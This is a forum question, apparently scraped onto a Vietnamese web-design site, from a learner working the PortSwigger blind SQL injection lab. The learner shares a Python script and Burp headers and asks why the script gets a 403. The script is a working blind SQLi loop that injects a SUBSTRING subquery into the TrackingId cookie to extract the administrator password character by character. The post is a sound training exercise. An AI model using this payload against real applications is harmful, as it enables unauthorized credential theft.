Thiết kế website giá rẻ

Question

im doing portswigger blind sqli lab: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

in the burp repeater after intecepting requests, it is working fine, as the solution is a bit tedious i though to automate it with python but it returns this response

<html><head><title>Client Error: Forbidden</title></head><body><h1>Client Error: Forbidden</h1></body></html>

i have exactly the same headers and cookies but idk why its working on burp and not on python request, arent those two same.
python code:

import pprint
import time
import requests 
from bs4 import BeautifulSoup
from collections import OrderedDict

url =  "https://xxxxxxxxxxxxxxxxx.web-security-academy.net/filter?category=Lifestyle"
headers_string = """Host: xxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: redacted
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
"""
header_dict = OrderedDict()
for line in headers_string.splitlines(): 
    header, value = line.split(":", 1)
    header_dict[header] = value.strip("n").strip(' ')


with open("payload.txt", 'r') as f:
    payloads = [i.strip('n') for i in f.readlines()]


for i in range(1, 21):
    for p in payloads:
        cookie = f"TrackingId=xxxxxxxxxxxxx' AND (SELECT SUBSTRING(password, {i}, 1) FROM users WHERE username ='administrator')='{p}; session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
        header_dict["Cookie"] = cookie
        res = requests.get(url, headers=header_dict)
        print(res.request.headers)
        print(res.headers)
        print(len(res.text))
        print(res.text)
        print(f"Trying payload: {p} at position {i}")
        if "Welcome back!" in res.text:
            print(f"Found password character {p} at position {i}")
        time.sleep(102)
        print("========================================================")

this was the result of print res.request.headers

{'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36', 'Accept-Encoding': 'gzip, deflate, br', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Connection': 'keep-alive', 'Host': '0a9000d9049e1c2c80cc719600010093.web-security-academy.net/', 'Sec-Ch-Ua': '"Chromium";v="127", "Not)A;Brand";v="99"', 'Sec-Ch-Ua-Mobile': '?0', 'Sec-Ch-Ua-Platform': '"Windows"', 'Accept-Language': 'en-GB', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Referer': 'https://0a9000d9049e1c2c80cc719600010093.web-security-academy.net/', 'Priority': 'u=0, i', 'Cookie': "TrackingId=8y60pwYvV2VwjwZm' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username ='administrator')='a; session=LOdCvKmB6g9uLyM0RKnaOqRewmSfZrm8"}

payload.txt has a-z, 0-9 on each line

the solution is to guess password through blind sqli, of 20 characters, thats why i want to use python so i can understand more, instead of relying on tools.
burp suite headers

GET /filter?category=Gifts HTTP/2
Host: xxxxxxxxxxxxxxxxxxxxx.web-security-academy.net
Cookie: TrackingId=xxxxxxxxxxx' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username ='administrator')='a; session=LOdCvKmB6g9uLyM0RKnaOqRewmSfZrm8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/filter?category=Gifts
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Length: 2

Thiết kế website giá rẻ

Danh mục

Burp Repeater Request giving client Error: Forbidden in python requests (portswigger labs)